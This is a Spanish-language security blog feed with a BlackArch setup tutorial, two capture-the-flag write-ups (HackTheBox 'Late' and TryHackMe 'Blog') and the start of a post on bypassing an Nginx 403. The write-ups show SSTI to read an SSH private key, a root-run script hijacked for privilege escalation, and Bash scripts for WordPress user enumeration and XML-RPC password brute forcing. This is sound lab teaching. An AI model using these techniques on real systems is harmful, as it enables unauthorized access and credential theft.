<p><img src="/assets/img/7-BlackArch-custom/16.png" alt="Quit cfdisk" /></p>

<p>Podemos ejecutar <code class="language-plaintext highlighter-rouge">fdisk -l</code> para mostrar las particiones y revisar que todo esté correcto.</p>

<p><img src="/assets/img/7-BlackArch-custom/17.png" alt="fdisk" /></p>

<h2 id="instalación">Instalación</h2>
<p>Después de particionar el disco podemos realizar una instalación automatica a través de un script que escribí o a través de una instalación manual siguiendo todos los comandos dentro del script.</p>

<h3 id="instalación-automática">Instalación automática</h3>
<p>Para la instalación automática clonaremos mi <a href="https://github.com/c04tl/Entorno-BlackArch">repositorio de github</a>, es importante aclarar que todos los comandos utilizados en mi script están basados en la <a href="https://wiki.archlinux.org/title/Installation_guide_(Espa%C3%B1ol)">guía de instalación de Arch</a> y en la zona horaria y servidores de México. Una vez clonado, podemos cambiar cualquier archivo de configuración y los wallpapers.</p>

<p>Ahora levantaremos un servidor http con python en la carpeta descargada, modificaremos las lineas 36, 37 y 38 con el nombre de nuestro usuario, el nombre de nuestra máquina y la ip y puerto de nuestro servidor.</p>

<p><img src="/assets/img/7-BlackArch-custom/18.png" alt="usr, maquina, ip" /></p>

<p>En la línea 45 y 46 escribiremos la contraseña del usuario estándar y del usuario root después de los 2 puntos.</p>

<p><img src="/assets/img/7-BlackArch-custom/19.png" alt="Contraseñas" /></p>

<blockquote>
  <p>IMPORTANTE:
Si estamos usando VirtualBox necesitaremos descomentar las líneas  65 y 66 y comentar las lineas 70 - 72.
Si estamos usando VMWare necesitaremos descomentar las líneas 70 - 72 y comentar las lineas 65 y 66.</p>
</blockquote>

<p>Después de hacer estas modificaciones solo hace falta ejecutar la siguiente línea de comandos que descargará el script y se lo pasará a bash para ejecutarlo (recuerden cambiar la ip por la de su servidor).</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl 192.168.0.2:8000/BlackArch.sh | bash
</code></pre></div></div>

<p>Una vez que empiece el proceso de descarga e instalación debemos dejar el servidor python arriba para que el script pueda descargar todos los archivos de configuración del repositorio que clonamos así que ahora podemos ir a tomar un café o levantarnos por unos minutos. Después de que regresemos comenzará la instalación de <code class="language-plaintext highlighter-rouge">Paru</code>, para esto debemos introducir la contraseña del usuario estándar.</p>

<p><img src="/assets/img/7-BlackArch-custom/20.png" alt="Paru" /></p>

<p>Después comenzará la instalación de la <code class="language-plaintext highlighter-rouge">powerlevel10k</code>, nuestras herramientas de hacking y finalmente se instalará <a href="https://github.com/NvChad/NvChad#what-is-it">NvChad</a> para <a href="https://neovim.io/">neovim</a>, esto con el fin de facilitar la escritura de scripts :).</p>

<p>Cuando NVCHAD termine de instalarse aparecerá una pantalla como la siguiente:</p>

<p><img src="/assets/img/7-BlackArch-custom/21.png" alt="NVCHAD" /></p>

<p>Solo debemos ejecutar el comando <code class="language-plaintext highlighter-rouge">:q</code> de vim para regresar a la terminal, despues reiniciamos la máquina con el comando <code class="language-plaintext highlighter-rouge">reboot</code>, después de reiniciar ya estará listo nuestro de hacking profesional montado en un BlackArch personalizado.</p>

<h1 id="conclusiones">Conclusiones</h1>

<p>La instalación y configuración de nuestro entorno de hacking es realmente sencilla con el script y los archivos que he agregado al repositorio, además de ser completamente personalizable a través de los archivos de configuración.</p>

<p>Espero les haya sido útil esta publicación para aprender más sobre los entornos Linux, sus archivos de configuración, rutas, tipos de sistemas de archivos, etc. nos vemos hasta otra publicación ;)</p>]]></content><author><name>Luis Medina</name></author><category term="Tutorial" /><category term="DIY" /><category term="python" /><category term="bash" /><category term="curl" /><summary type="html"><![CDATA[Introducción]]></summary></entry><entry><title type="html">Resolución de máquina Late - HackTheBox</title><link href="https://c04tl.github.io/posts/HTB-Late/" rel="alternate" type="text/html" title="Resolución de máquina Late - HackTheBox" /><published>2022-07-30T00:00:00-05:00</published><updated>2022-07-30T00:00:00-05:00</updated><id>https://c04tl.github.io/posts/HTB-Late</id><content type="html" xml:base="https://c04tl.github.io/posts/HTB-Late/"><![CDATA[<h1 id="introducción">Introducción</h1>

<p>Bienvenidos a mi primer writeup de Hack The Box, para comenzar, agregamos la dirección IP de la máquina en nuestro archivo <code class="language-plaintext highlighter-rouge">/etc/hosts</code> con el nombre late.htb para hacerlo más práctico.</p>

<h1 id="resolución">Resolución</h1>

<p>Para realizar un reconocimiento de puertos y servicios utilizamos la siguiente línea de comandos:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nmap <span class="nt">-Pn</span> <span class="nt">-n</span> <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-sSVC</span> <span class="nt">--min-rate</span> 4000 late.htb
</code></pre></div></div>

<p>Como resultado obtuvimos lo siguiente:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
| ssh-hostkey: 
|   2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 <span class="o">(</span>RSA<span class="o">)</span>
|   256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb <span class="o">(</span>ECDSA<span class="o">)</span>
|_  256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 <span class="o">(</span>ED25519<span class="o">)</span>
80/tcp open  http    nginx 1.14.0 <span class="o">(</span>Ubuntu<span class="o">)</span>
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 <span class="o">(</span>Ubuntu<span class="o">)</span>
Service Info: OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
</code></pre></div></div>

<p>Cuando visitamos la página en el puerto 80 encontramos un enlace hacia <a href="http://images.late.htb">images.late.htb</a> así que añadimos este enlace en el archivo <code class="language-plaintext highlighter-rouge">/etc/hosts</code> y cuando recargamos la página nos mostró el siguiente portal.</p>

<p><img src="/assets/img/6-HTB-Late/1-puerto80.png" alt="images.late.htb" /></p>

<p>Ya que esta aplicación procesa el texto que recibe como imagenes probamos ataques STTI (Server Side Template Injection) con diferentes fuentes, tamaños de letra y estilos. Les recomiendo visitar los siguientes enlaces para conocer más sobre como funciona esta vulnerabilidad.</p>

<ul>
  <li><a href="https://www.youtube.com/watch?v=SN6EVIG4c-0">Server-Side Template Injections Explained</a></li>
  <li><a href="https://podalirius.net/en/publications/grehack-2021-optimizing-ssti-payloads-for-jinja2/#server-side-template-injections">podalirius.net</a></li>
</ul>

<p>Primero comprobamos que se trata de un <code class="language-plaintext highlighter-rouge">SSTI</code> enviando la siguiente imágen:</p>

<p><img src="/assets/img/6-HTB-Late/Payloads/1-Consolas91.png" alt="7x7" /></p>

<p>Podemos ver que entre las etiquetas <code class="language-plaintext highlighter-rouge">p</code> de la respuesta viene el resultado de la evaluación hecha por python.</p>

<p><img src="/assets/img/6-HTB-Late/2-ssti.png" alt="7x7=SSTI" /></p>

<p>Una vez comprobada la injección de plantilla veremos si podemos ejecutar código directamente desde el interprete de python llamando al modulo <code class="language-plaintext highlighter-rouge">os</code>, en este caso llamaremos a <code class="language-plaintext highlighter-rouge">id</code> para ver el id del usuario actual.</p>

<p><img src="/assets/img/6-HTB-Late/Payloads/2-Dubai62.png" alt="id" /></p>

<p>La aplicación respondió con el siguiente id, lo cual me hizo suponer que el usuario root es quien está ejecutando el aplicativo:</p>

<p><img src="/assets/img/6-HTB-Late/3-id.png" alt="id=0" /></p>

<p>Para comprobarlo, ahora ejecutamos <code class="language-plaintext highlighter-rouge">whoami</code> esperando el nombre del usuario actual:</p>

<p><img src="/assets/img/6-HTB-Late/Payloads/3-Dubai58.png" alt="whoami" /></p>

<p>Sin embargo, como respuesta obtuvimos una cadena vacía:</p>

<p><img src="/assets/img/6-HTB-Late/4-whoami.png" alt="Cadena vacía" /></p>

<p>Pero no hay que preocuparnos ya que podemos utilizar el comando <code class="language-plaintext highlighter-rouge">who</code> para ver los usuarios que tienen una sesión iniciada en la máquina.</p>

<p><img src="/assets/img/6-HTB-Late/Payloads/4-Dubai52.png" alt="who" /></p>

<p>Una vez que recibimos la respueta de la aplicación podemos ver algo como lo siguiente.</p>

<p><img src="/assets/img/6-HTB-Late/5-who.png" alt="svc_acc" /></p>

<p>Recordando el escaneo de nmap pudimos ver el puerto 22 abierto y ya que tenemos el nombre del usuario buscamos su <code class="language-plaintext highlighter-rouge">id_rsa</code> en su carpeta personal con la siguiente imagen:</p>

<p><img src="/assets/img/6-HTB-Late/Payloads/5-Dubai43.png" alt="cat id_rsa" /></p>

<p>En la respuesta podemos ver la id_rsa completa del usuario por lo cual ahora podemos conectarnos por ssh.</p>

<p><img src="/assets/img/6-HTB-Late/6-id_rsa.png" alt="id_rsa" /></p>

<p>Recordemos que debemos cambiar los permisos con <code class="language-plaintext highlighter-rouge">chmod 400 id_rsa</code> ya que de lo contrario <code class="language-plaintext highlighter-rouge">ssh</code> nos dará un error y no nos dejará conectarnos.</p>

<p><img src="/assets/img/6-HTB-Late/7-chmod400.png" alt="chmod" /></p>

<h2 id="bandera-usertxt">Bandera user.txt</h2>

<p>Ya que nos conectamos a la máquina listamos el directorio actual y podemos ver la bandera <strong>user.txt</strong>.</p>

<p><img src="/assets/img/6-HTB-Late/8-ssh.png" alt="ssh" /></p>

<h2 id="bandera-roottxt">Bandera root.txt</h2>

<p>Para conseguir la bandera del usuario root utilizamos <a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS">linpeas.sh</a> para enumerar el sistema y encontrar un vector para escalar privilegios. Los resultados de <code class="language-plaintext highlighter-rouge">linpeas</code> muestran el script <code class="language-plaintext highlighter-rouge">/usr/local/sbin/ssh-alert.sh</code>, al revisar los permisos podemos ver que somos el propietario y tenemos permisos de lectura, escritura y ejecución, además, al hacer un <code class="language-plaintext highlighter-rouge">cat</code> al archivo vemos que este script envía un correo de alerta al usuario <code class="language-plaintext highlighter-rouge">root@late.htb</code>.</p>

<p><img src="/assets/img/6-HTB-Late/9-script.png" alt="ssh-alert.sh" /></p>

<p>Despues, con <a href="https://github.com/DominicBreuker/pspy">pspy</a> podemos ver que este script lo está ejecutando el usuario root cuando se hace un login por ssh, además, cuando intentamos editar este script nos apareció un error lo cual es raro ya que somos los propietarios de este scriot además de que tenemos los permisos para editarlo, pero al listar los atributos del archivo con <code class="language-plaintext highlighter-rouge">lsattr</code> podemos ver que está activo el atributo a (append), lo cual solo nos permitirá agregar contenido más no modificarlo, sabiendo esto, ejecutamos la siguiente línea de comandos:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"cp /root/root.txt /home/svc_acc/root.txt</span><span class="se">\n</span><span class="s2">chown svc_acc /home/svc_acc/root.txt"</span> | <span class="nb">tee</span> <span class="nt">-a</span> /usr/local/sbin/ssh-alert.sh
</code></pre></div></div>
<p>Ya que el script es ejecutado por el usuario root, con estas instrucciones estamos copiando el archivo root.txt hacía nuestro directorio personal y poniendonos como propietarios a nosotros.</p>

<p>En este caso la bandera root en HTB siempre se encuentra en ese directorio pero por ejemplo pudimos cambiar los permisos de la <code class="language-plaintext highlighter-rouge">/bin/bash</code>, copiar la id_rsa del usuario root si es que la hubiera, lanzar una reverse shell, etc.</p>

<p><img src="/assets/img/6-HTB-Late/10-atributos.png" alt="ssh-alert.sh" /></p>

<p>Para que se ejecute el script basta con salir de ssh, volver a iniciar sesión y ahí tendremos nuestro archivo root.txt</p>

<h1 id="conclusiones">Conclusiones</h1>

<p>Esta máquina me gustó mucho ya que es la primera en HTB que soluciono, además de que aprendí más sobre python y SSTI en Flask y de igual manera sobre los atributos en los archivos de linux. Espero que les haya gustado este writeup, nos vemos en el siguiente post ;).</p>]]></content><author><name>Luis Medina</name></author><category term="CTF" /><category term="HackTheBox" /><category term="ssh" /><category term="linpeas" /><category term="attr" /><category term="lsattr" /><category term="tee" /><category term="python" /><category term="chmod" /><category term="chown" /><category term="id_rsa" /><summary type="html"><![CDATA[Introducción]]></summary></entry><entry><title type="html">Resolución de máquina Blog - TryHackMe</title><link href="https://c04tl.github.io/posts/THM-Blog/" rel="alternate" type="text/html" title="Resolución de máquina Blog - TryHackMe" /><published>2022-07-15T00:00:00-05:00</published><updated>2022-07-18T23:05:08-05:00</updated><id>https://c04tl.github.io/posts/THM-Blog</id><content type="html" xml:base="https://c04tl.github.io/posts/THM-Blog/"><![CDATA[<h1 id="introducción">Introducción</h1>

<p>Bienvenidos a mi página y a este post donde veremos como solucionar la máquina Blog de TryHackMe.<br />
La resolución de esta máquina la realizamos con la comunidad de <strong><a href="https://www.twitch.tv/c04tl">Twitch</a></strong> y va dedicada a nuestro amigo EL MALDITO ;).</p>

<p>Para comenzar, tenemos que agregar la dirección IP de la máquina en nuestro archivo <code class="language-plaintext highlighter-rouge">/etc/hosts</code> con el nombre blog.thm.</p>

<h1 id="resolución">Resolución</h1>

<p>Para realizar un reconocimiento de puertos y servicios utilizamos la siguiente linea de comandos:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nmap <span class="nt">-Pn</span> <span class="nt">-n</span> <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-sSVC</span> <span class="nt">--min-rate</span> 4000 blog.thm
</code></pre></div></div>

<p>Como resultado obtuvimos lo siguiente:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
80/tcp  open  http        Apache httpd 2.4.29 <span class="o">((</span>Ubuntu<span class="o">))</span>
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X <span class="o">(</span>workgroup: WORKGROUP<span class="o">)</span>
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X <span class="o">(</span>workgroup: WORKGROUP<span class="o">)</span>
Service Info: Host: BLOG<span class="p">;</span> OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
</code></pre></div></div>

<p>Comenzando por el puerto <code class="language-plaintext highlighter-rouge">22</code> probamos el script <code class="language-plaintext highlighter-rouge">ssh-brute</code> de nmap para un pequeño ataque de fuerza bruta, sin embargo, no se obtuvieron credenciales válidas:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p22</span> <span class="nt">--script</span> ssh-brute blog.thm
<span class="nb">.</span>
<span class="nb">.</span>
<span class="nb">.</span>
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-brute: 
|   Accounts: No valid accounts found
|_  Statistics: Performed 1424 guesses <span class="k">in </span>602 seconds, average tps: 2.4

Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>603.74 seconds
</code></pre></div></div>

<p>Ahora seguimos con los puertos 139 y 445 que corresponden a SMB por lo cual utilizamos <code class="language-plaintext highlighter-rouge">smbclient</code> con una sesión nula para tratar de enumerar los recursos comparitdos y obtenemos lo siguiente:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient <span class="nt">-N</span> <span class="nt">-L</span> blog.thm
<span class="nb">.</span>
<span class="nb">.</span>
<span class="nb">.</span>
SHARES
</code></pre></div></div>

<h2 id="cuarta-y-quinta-flag">Cuarta y quinta Flag</h2>

<p>Ya que tenemos el puerto <code class="language-plaintext highlighter-rouge">80</code> abierto, ejecutamos <code class="language-plaintext highlighter-rouge">whatweb blog.thm</code> para identificar la tecnología utilizada por la página web y podemos ver que se trata de un CMS (Content Management Systems) <strong>WorPress</strong> en la <strong>versión 5.0</strong>:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://blog.thm <span class="o">[</span>200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 <span class="o">(</span>Ubuntu<span class="o">)]</span>, IP[10.10.3.160], MetaGenerator[WordPress 5.0], PoweredBy[-wordpress,-wordpress,,WordPress,WordPress,], Script[text/javascript], Title[Billy Joel&amp;#039<span class="p">;</span>s IT Blog &amp;#8211<span class="p">;</span> The IT blog], UncommonHeaders[link], WordPress[5.0]
</code></pre></div></div>

<p>Afortunadamente, wordpress cuenta con una API que nos permite gestionar ciertos aspectos a través  de Json y podemos aprovecharla en esta máquina para consultar todos los usuarios en <a href="http://blog.thm/wp-json/wp/v2/users/">http://blog.thm/wp-json/wp/v2/users/</a>.</p>

<h1 id="explotación">Explotación</h1>

<p>Para explotar el sitio wordpress aprovechando la API escribimos 3 scripts en Bash que realizan lo siguiente:</p>

<ol>
  <li>Enumerar usuarios</li>
  <li>Enumerar metodos</li>
  <li>Ataque de fuerza bruta</li>
</ol>

<blockquote>
  <p><strong>Estos scripts están disponibles en mi repositorio <a href="https://github.com/c04tl/WP-Hacking">WP-Hacking</a> para su uso y modificación ;)</strong></p>
</blockquote>

<h2 id="scripts-realizados">Scripts realizados</h2>

<p>Los siguientes 3 Scripts en bash los fuimos escribiendo y explicando en vivo con la comunidad de <strong><a href="https://www.twitch.tv/c04tl">Twitch</a></strong> comenzando por <strong><em>getUsers.sh</em></strong>.</p>

<h3 id="getuserssh">getUsers.sh</h3>

<p>Para poder usar este script necesitamos ejecutar <code class="language-plaintext highlighter-rouge">sudo apt install jq</code> para isntalar jq que nos ayudará a procesar mas fácilmente respuesta Json. Una vez instalado, basta con hacer un <code class="language-plaintext highlighter-rouge">./getUsers.sh blog.thm</code> y el script guardará los usuarios encontrados en un archivo de nombre <strong><em>usuarios-wp.txt</em></strong></p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="k">if</span> <span class="o">[[</span> <span class="nt">-z</span> <span class="nv">$@</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
    </span><span class="nb">echo</span> <span class="s2">"Modo de uso: </span><span class="nv">$0</span><span class="s2"> HOST"</span>
    <span class="nb">exit </span>1
<span class="k">fi

</span><span class="nv">host</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span>
<span class="nv">usuario</span><span class="o">=</span><span class="s2">"A"</span>
<span class="nv">i</span><span class="o">=</span>0
<span class="k">while</span> <span class="o">[[</span> <span class="nt">-n</span> <span class="nv">$usuario</span> <span class="o">]]</span><span class="p">;</span> <span class="k">do
    </span><span class="nv">usuario</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-s</span> <span class="nv">$host</span>/wp-json/wp/v2/users | jq <span class="s2">".[</span><span class="nv">$i</span><span class="s2">][</span><span class="se">\"</span><span class="s2">slug</span><span class="se">\"</span><span class="s2">]"</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">'"'</span><span class="si">)</span>
    <span class="k">if</span> <span class="o">[[</span> <span class="nv">$usuario</span> <span class="o">==</span> <span class="s2">"null"</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
        </span><span class="nb">exit </span>0  

    <span class="k">elif</span> <span class="o">[[</span> <span class="nt">-z</span> usuario <span class="o">]]</span><span class="p">;</span> <span class="k">then
        if</span> <span class="o">[[</span> <span class="nt">-z</span> <span class="nv">usuario</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$host</span><span class="s2">/?rest_route=/wp/v2/users"</span> | jq .[<span class="nv">$i</span><span class="o">][</span><span class="se">\"</span>slug<span class="se">\"</span><span class="o">]</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">'"'</span><span class="si">)</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
            </span><span class="nb">echo</span> <span class="s2">"[x] No se encontraron usuarios :c"</span>
            <span class="nb">exit </span>1
        <span class="k">fi
    fi

    </span><span class="nb">echo</span> <span class="s2">"[+] Usuario: </span><span class="nv">$usuario</span><span class="s2">"</span>
    <span class="nb">echo</span> <span class="nv">$usuario</span> <span class="o">&gt;&gt;</span> usuarios-wp.txt
    <span class="nv">i</span><span class="o">=</span><span class="nv">$i</span>+1
<span class="k">done</span>
</code></pre></div></div>

<h3 id="getmethodssh">getMethods.sh</h3>

<p>Para este script necesitamos utilizar <code class="language-plaintext highlighter-rouge">xmlrpc.php</code> el cual es un sistema que permite actualizaciones remotas a WordPress desde otras aplicaciones, concretamente utilizaremos <code class="language-plaintext highlighter-rouge">system.listMethods</code> para listar todos los métodos permitidos, sin embargo, solo nos interesa que esté habilitado <strong><em>wp.getUsersBlogs</em></strong></p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="k">if</span> <span class="o">[[</span> <span class="nt">-z</span> <span class="nv">$@</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
	</span><span class="nb">echo</span> <span class="s2">"Modo de uso: </span><span class="nv">$0</span><span class="s2"> HOST"</span>
	<span class="nb">exit </span>1
<span class="k">fi

</span><span class="nv">host</span><span class="o">=</span><span class="nv">$1</span>

<span class="nb">echo</span> <span class="s2">"
&lt;methodCall&gt;
	&lt;methodName&gt;system.listMethods&lt;/methodName&gt;
&lt;/methodCall&gt;
"</span> <span class="o">&gt;</span> datos.xml

curl <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$host</span><span class="s2">/xmlrpc.php"</span> <span class="nt">-d</span> @<span class="nv">$datos_xml</span>
<span class="nb">rm </span>datos.xml
</code></pre></div></div>

<p>Buscando en el cuerpo de la respuesta podemos ver que nuestro método <strong>wp.getUsersBlogs</strong> está habilitado }:).</p>

<h3 id="brutersh">bruter.sh</h3>

<p><strong>wp.getUsersBlogs</strong> nos permite consultar los blogs creados por un usuario específico pero para poder obtenerlos debemos autenticarnos como un usuario válido de WordPress, gracias a <strong><em>getUsers.sh</em></strong> ya debemos tener los usuarios válidos en el archivo <strong><em>usuarios-wp.txt</em></strong> ahora solo resta ejecutar nuestro script y pasarle como parametro el host a atacar y el diccionario pero por defecto utiliza el diccionario de nmap <code class="language-plaintext highlighter-rouge">/usr/share/nmap/nselib/data/passwords.lst</code>.</p>

<p><code class="language-plaintext highlighter-rouge">./bruter.sh </code></p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="k">if</span> <span class="o">[[</span> <span class="nt">-z</span> <span class="nv">$@</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
  </span><span class="nb">echo</span> <span class="s2">"Modo de uso: </span><span class="nv">$0</span><span class="s2"> [HOST] [DICCIONARIO]"</span>
<span class="k">fi

</span><span class="nv">host</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span>
<span class="nv">dict</span><span class="o">=</span><span class="s2">"</span><span class="nv">$2</span><span class="s2">"</span>

<span class="k">for </span>user <span class="k">in</span> <span class="si">$(</span><span class="nb">cat </span>usuarios-wp.txt<span class="si">)</span><span class="p">;</span> <span class="k">do
	for </span>psw <span class="k">in</span> <span class="si">$(</span><span class="nb">cat</span> <span class="nv">$dict</span><span class="si">)</span><span class="p">;</span> <span class="k">do 
		</span><span class="nb">echo</span> <span class="s2">" 
		&lt;methodCall&gt;
			&lt;methodName&gt;wp.getUsersBlogs&lt;/methodName&gt;
			&lt;params&gt;
				&lt;param&gt;&lt;value&gt;</span><span class="nv">$user</span><span class="s2">&lt;/value&gt;&lt;/param&gt;
				&lt;param&gt;&lt;value&gt;</span><span class="nv">$psw</span><span class="s2">&lt;/value&gt;&lt;/param&gt;
				&lt;/params&gt;
		&lt;/methodCall&gt;
		"</span> <span class="o">&gt;</span> datos.xml
		<span class="nb">echo</span> <span class="s2">"Probando </span><span class="nv">$user</span><span class="s2">:</span><span class="nv">$psw</span><span class="s2">"</span>

		<span class="k">if</span> <span class="o">[[</span> <span class="o">!</span> <span class="si">$(</span>curl <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$host</span><span class="s2">/xmlrpc.php"</span> <span class="nt">-d</span> @<span class="s2">"datos.xml"</span> | <span class="nb">grep</span> <span class="s2">"Incorrect"</span> &amp;<span class="si">)</span>  <span class="o">]]</span><span class="p">;</span> <span class="k">then
			</span><span class="nb">echo</span> <span class="s2">"[+] </span><span class="nv">$user</span><span class="s2">:</span><span class="nv">$psw</span><span class="s2">"</span>
			<span class="nb">rm </span>datos.xml
			<span class="nb">exit </span>0
		<span class="k">fi</span><span class="p">;</span> <span class="nb">wait

		rm </span>datos.xml

	<span class="k">done
done</span>
</code></pre></div></div>

<p>Una vez que obtuvimos las credenciales podemos iniciar sesión en <a href="http://blog.thm/wp-admin/">http://blog.thm/wp-admin/</a> y lo primero que veremos sera el panel de administración:</p>

<p><img src="/assets/img/4_THM_Blog/1.png" alt="wordpress" /></p>

<p>Después de hacer una exploración podemos ver que no tenemos permisos administrativos, entonces vamos a utilizar <code class="language-plaintext highlighter-rouge">searchsploit</code> para buscar un exploit de la versión de wordpress que detectamos y encontramos un exploit de metasploit, lo configuramos y lanzamos para obtener una sesión de meterpreter</p>

<p><img src="/assets/img/4_THM_Blog/2.png" alt="metasploit" /></p>

<h3 id="flag-usertxt">flag user.txt</h3>
<p>Ahora vamos al directorio home del usuario bjoel para obtener la bandera pero el archivo tiene lo siguiente:</p>

<p><img src="/assets/img/4_THM_Blog/3.png" alt="user.txt" /></p>

<p>Ahora buscamos binarios con <a href="https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/">SUID</a> para escalar privilegios</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find / <span class="nt">-type</span> f <span class="nt">-perm</span> <span class="nt">-4000</span> 2&gt;/dev/null
</code></pre></div></div>

<p>Encontramos que <code class="language-plaintext highlighter-rouge">checker</code> tiene estos permisos pero al ejecutarlo solo se imprime <strong>Not an Admin</strong></p>

<p><img src="/assets/img/4_THM_Blog/4.png" alt="Not an Admin" /></p>

<p>Para analizarlo mejor descargamos el archivo a nuestra maquina y vamos a analizarlo con <code class="language-plaintext highlighter-rouge">radare2</code>, encontramos la cadena <code class="language-plaintext highlighter-rouge">admin</code> en la dirección 0x722 que es pasada a la función <code class="language-plaintext highlighter-rouge">getenv</code> ademaś vemos una comparación a 0 en la dirección 0x737 en decir, si está vacía la variable admin se hará un salto a 0x75a, imprimirá <em>Not an admin</em> y saldrá del programa.</p>

<p><img src="/assets/img/4_THM_Blog/5.png" alt="radare2" /></p>

<p>Para configurar la variable <code class="language-plaintext highlighter-rouge">admin</code> solo hacemos un <code class="language-plaintext highlighter-rouge">export admin=loqueseaxd</code> ya que solo necesita estar configurada y después ejecutamos checker de nuevo para obtener una shell de root.</p>

<h2 id="bandera-1-2-y-3">Bandera 1, 2 y 3</h2>

<p><img src="/assets/img/4_THM_Blog/6.png" alt="export admin" /></p>

<p>Ahora con permisos de root buscamos la bandera <code class="language-plaintext highlighter-rouge">user.txt</code>:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find / <span class="nt">-type</span> f <span class="nt">-name</span> user.txt 2&gt;/dev/null
</code></pre></div></div>
<p>Y terminamos con la bandera <code class="language-plaintext highlighter-rouge">root.txt</code> en <code class="language-plaintext highlighter-rouge">/root/</code></p>

<h1 id="conclusiones">Conclusiones</h1>
<p>Así terminamos con esta máquina, espero les haya gustado y les haya sido util, nos vemos en otro post ;)</p>]]></content><author><name>Luis Medina</name></author><category term="CTF" /><category term="TryHackMe" /><category term="wordpress" /><category term="smbclient" /><category term="nmap" /><category term="strings" /><category term="scripting" /><category term="bash" /><category term="find" /><category term="suid" /><category term="radare2" /><summary type="html"><![CDATA[Introducción]]></summary></entry><entry><title type="html">Bypass de código 403 Forbidden en Nginx</title><link href="https://c04tl.github.io/posts/Bypass-Nginx-403-Forbbiden/" rel="alternate" type="text/html" title="Bypass de código 403 Forbidden en Nginx" /><published>2022-05-03T11:43:00-05:00</published><updated>2022-07-15T10:14:50-05:00</updated><id>https://c04tl.github.io/posts/Bypass-Nginx-403-Forbbiden</id><content type="html" xml:base="https://c04tl.github.io/posts/Bypass-Nginx-403-Forbbiden/"><![CDATA[<h1 id="introducción">Introducción</h1>

<p>Hace unos días estaba haciendo scraping con powershell y necesitaba descargar archivos (concretamente imágenes) de un sitio web, pero me encontré con el problema que esta página, <code class="language-plaintext highlighter-rouge">One.com</code> de ahora en adelante, carga las imágenes desde un sitio externo <code class="language-plaintext highlighter-rouge">Piece.com</code> de ahora en adelante ;)</p>

<p>Además, cuando accedí a las imagenes directamente en <code class="language-plaintext highlighter-rouge">Piece.com</code> el servidor Nginx me responde con un código 403 Forbidden es por eso que en este post les enseñaré el procedimiento para obtener las URL’s y automatizar la descarga de las imágenes además de hacer un bypass con una cabecera muy sencilla.</p>

<h1 id="analisis">Analisis</h1>

<p>La url inicial tiene la siguiente estructura: <code class="language-plaintext highlighter-rouge">One.com/viewer/1000</code> y cuando ingresamos con un navegador luce más o menos así:</p>

<p><img src="/assets/img/5-Bypass-403-forbidden-Nginx/1.png" alt="one" /></p>

<p>Además arriba y abajo de la imagen podemos ver un selector con el numero 1 al 22 y cada vez que cambiamos de selector por ejemplo 10, este numero se pone al final de nuestra url.</p>

<p><img src="/assets/img/5-Bypass-403-forbidden-Nginx/2.png" alt="piece" /></p>

